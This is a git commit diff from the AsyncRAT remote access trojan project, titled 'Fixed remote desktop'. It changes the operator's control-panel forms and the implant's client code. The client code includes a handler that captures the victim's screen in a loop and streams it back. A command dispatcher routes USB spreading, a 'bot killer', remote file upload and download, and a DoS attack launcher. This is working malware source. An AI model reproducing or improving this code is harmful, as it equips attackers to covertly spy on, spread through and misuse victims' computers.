Fixed remote desktop
This commit is contained in:
parent
8b394f6835
commit
a29043dd14
18
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
18
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
@ -82,6 +82,7 @@
|
||||
this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.ping = new System.Windows.Forms.Timer(this.components);
|
||||
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
|
||||
this.tabControl1 = new System.Windows.Forms.TabControl();
|
||||
@ -112,7 +113,6 @@
|
||||
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
|
||||
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
|
||||
this.TimerTask = new System.Windows.Forms.Timer(this.components);
|
||||
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.contextMenuClient.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.tabControl1.SuspendLayout();
|
||||
@ -188,7 +188,7 @@
|
||||
// lv_prefor
|
||||
//
|
||||
this.lv_prefor.Text = "PERFORMANCE";
|
||||
this.lv_prefor.Width = 189;
|
||||
this.lv_prefor.Width = 200;
|
||||
//
|
||||
// lv_admin
|
||||
//
|
||||
@ -559,6 +559,13 @@
|
||||
this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25);
|
||||
this.toolStripStatusLabel1.Text = "...";
|
||||
//
|
||||
// toolStripStatusLabel2
|
||||
//
|
||||
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
|
||||
this.toolStripStatusLabel2.Size = new System.Drawing.Size(204, 25);
|
||||
this.toolStripStatusLabel2.Text = " Notification";
|
||||
this.toolStripStatusLabel2.Click += new System.EventHandler(this.ToolStripStatusLabel2_Click);
|
||||
//
|
||||
// ping
|
||||
//
|
||||
this.ping.Enabled = true;
|
||||
@ -811,13 +818,6 @@
|
||||
this.TimerTask.Interval = 5000;
|
||||
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
|
||||
//
|
||||
// toolStripStatusLabel2
|
||||
//
|
||||
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
|
||||
this.toolStripStatusLabel2.Size = new System.Drawing.Size(204, 25);
|
||||
this.toolStripStatusLabel2.Text = " Notification";
|
||||
this.toolStripStatusLabel2.Click += new System.EventHandler(this.ToolStripStatusLabel2_Click);
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
|
@ -578,6 +578,7 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||
msgpack.ForcePathObject("Quality").AsInteger = 60;
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
|
@ -79,7 +79,7 @@
|
||||
//
|
||||
// btnSave
|
||||
//
|
||||
this.btnSave.Location = new System.Drawing.Point(482, 3);
|
||||
this.btnSave.Location = new System.Drawing.Point(538, 3);
|
||||
this.btnSave.Name = "btnSave";
|
||||
this.btnSave.Size = new System.Drawing.Size(152, 29);
|
||||
this.btnSave.TabIndex = 5;
|
||||
@ -154,11 +154,12 @@
|
||||
//
|
||||
// button1
|
||||
//
|
||||
this.button1.Location = new System.Drawing.Point(6, 5);
|
||||
this.button1.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.stop__1_;
|
||||
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.button1.Location = new System.Drawing.Point(12, 3);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new System.Drawing.Size(106, 29);
|
||||
this.button1.Size = new System.Drawing.Size(32, 32);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = "STOP";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
||||
//
|
||||
|
@ -62,6 +62,7 @@ namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
button2.Top = panel1.Bottom + 5;
|
||||
button2.Left = pictureBox1.Width / 2;
|
||||
button1.Tag = (object)"stop";
|
||||
button2.PerformClick();
|
||||
}
|
||||
catch { }
|
||||
@ -69,30 +70,32 @@ namespace AsyncRAT_Sharp.Forms
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (button1.Text == "START")
|
||||
if (button1.Tag == (object)"play")
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
|
||||
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value);
|
||||
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
||||
numericUpDown1.Enabled = false;
|
||||
numericUpDown2.Enabled = false;
|
||||
button1.Text = "STOP";
|
||||
button1.Tag = (object)"stop";
|
||||
button1.BackgroundImage = Properties.Resources.stop__1_;
|
||||
}
|
||||
else
|
||||
{
|
||||
button1.Text = "START";
|
||||
numericUpDown1.Enabled = true;
|
||||
numericUpDown2.Enabled = true;
|
||||
button1.Tag = (object)"play";
|
||||
try
|
||||
{
|
||||
C2.ClientSocket.Dispose();
|
||||
C2.Disconnected();
|
||||
C2 = null;
|
||||
}
|
||||
catch { }
|
||||
numericUpDown1.Enabled = true;
|
||||
numericUpDown2.Enabled = true;
|
||||
button1.BackgroundImage = Properties.Resources.play_button;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -3,44 +3,55 @@ using Client.Sockets;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using System.Net.Sockets;
|
||||
using Client.Helper;
|
||||
using System;
|
||||
using Client.StreamLibrary.UnsafeCodecs;
|
||||
using Client.StreamLibrary;
|
||||
using System.Net.Security;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Security.Authentication;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleRemoteDesktop
|
||||
public class HandleRemoteDesktop
|
||||
{
|
||||
|
||||
//public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
||||
//{
|
||||
// switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
// {
|
||||
// case "capture":
|
||||
// {
|
||||
// CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||
// break;
|
||||
// }
|
||||
// }
|
||||
//}
|
||||
public void CaptureAndSend(int quality, int Scrn)
|
||||
{
|
||||
try
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
string hwid = Methods.HWID();
|
||||
Bitmap bmp = null;
|
||||
BitmapData bmpData = null;
|
||||
Rectangle rect;
|
||||
Size size;
|
||||
MsgPack msgpack;
|
||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||
MemoryStream stream;
|
||||
while (tempSocket.IsConnected && ClientSocket.IsConnected)
|
||||
{
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
|
||||
string hwid = Methods.HWID();
|
||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||
while (tempSocket.Client.Connected)
|
||||
try
|
||||
{
|
||||
if (!tempSocket.IsConnected || !ClientSocket.IsConnected) break;
|
||||
Bitmap bmp = GetScreen(Scrn);
|
||||
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
Size size = new Size(bmp.Width, bmp.Height);
|
||||
BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||
bmp = GetScreen(Scrn);
|
||||
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
size = new Size(bmp.Width, bmp.Height);
|
||||
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
using (stream = new MemoryStream())
|
||||
{
|
||||
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
||||
|
||||
if (stream.Length > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("ID").AsString = hwid;
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||
@ -53,9 +64,11 @@ namespace Client.Handle_Packet
|
||||
bmp.UnlockBits(bmpData);
|
||||
bmp.Dispose();
|
||||
}
|
||||
tempSocket.Dispose();
|
||||
catch { break; }
|
||||
}
|
||||
catch { }
|
||||
bmp?.UnlockBits(bmpData);
|
||||
bmp?.Dispose();
|
||||
tempSocket?.Dispose();
|
||||
}
|
||||
|
||||
private Bitmap GetScreen(int Scrn)
|
||||
@ -64,10 +77,11 @@ namespace Client.Handle_Packet
|
||||
try
|
||||
{
|
||||
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
|
||||
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
gfxScreenshot.Dispose();
|
||||
return bmpScreenshot;
|
||||
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
|
||||
{
|
||||
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
return bmpScreenshot;
|
||||
}
|
||||
}
|
||||
catch { return new Bitmap(rect.Width, rect.Height); }
|
||||
}
|
||||
|
@ -113,15 +113,13 @@ namespace Client.Handle_Packet
|
||||
|
||||
case "usbSpread":
|
||||
{
|
||||
HandleLimeUSB limeUSB = new HandleLimeUSB();
|
||||
limeUSB.Run();
|
||||
new HandleLimeUSB().Run(); ;
|
||||
break;
|
||||
}
|
||||
|
||||
case "remoteDesktop":
|
||||
{
|
||||
HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
|
||||
remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||
new HandleRemoteDesktop().CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||
break;
|
||||
}
|
||||
|
||||
@ -150,15 +148,13 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
case "getDrivers":
|
||||
{
|
||||
FileManager fileManager = new FileManager();
|
||||
fileManager.GetDrivers();
|
||||
new FileManager().GetDrivers();
|
||||
break;
|
||||
}
|
||||
|
||||
case "getPath":
|
||||
{
|
||||
FileManager fileManager = new FileManager();
|
||||
fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
|
||||
new FileManager().GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
@ -176,8 +172,7 @@ namespace Client.Handle_Packet
|
||||
|
||||
case "reqUploadFile":
|
||||
{
|
||||
FileManager fileManager = new FileManager();
|
||||
fileManager.ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);
|
||||
new FileManager().ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ;
|
||||
break;
|
||||
}
|
||||
|
||||
@ -200,17 +195,13 @@ namespace Client.Handle_Packet
|
||||
|
||||
case "socketDownload":
|
||||
{
|
||||
FileManager fileManager = new FileManager();
|
||||
string file = unpack_msgpack.ForcePathObject("File").AsString;
|
||||
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
|
||||
fileManager.DownnloadFile(file, dwid);
|
||||
new FileManager().DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
|
||||
break;
|
||||
}
|
||||
|
||||
case "botKiller":
|
||||
{
|
||||
HandleBotKiller botKiller = new HandleBotKiller();
|
||||
botKiller.RunBotKiller();
|
||||
new HandleBotKiller().RunBotKiller();
|
||||
break;
|
||||
}
|
||||
|
||||
@ -249,9 +240,8 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
case "postStart":
|
||||
{
|
||||
HandleDos handleDos = new HandleDos();
|
||||
ctsDos = new CancellationTokenSource();
|
||||
handleDos.DosPost(unpack_msgpack);
|
||||
new HandleDos().DosPost(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user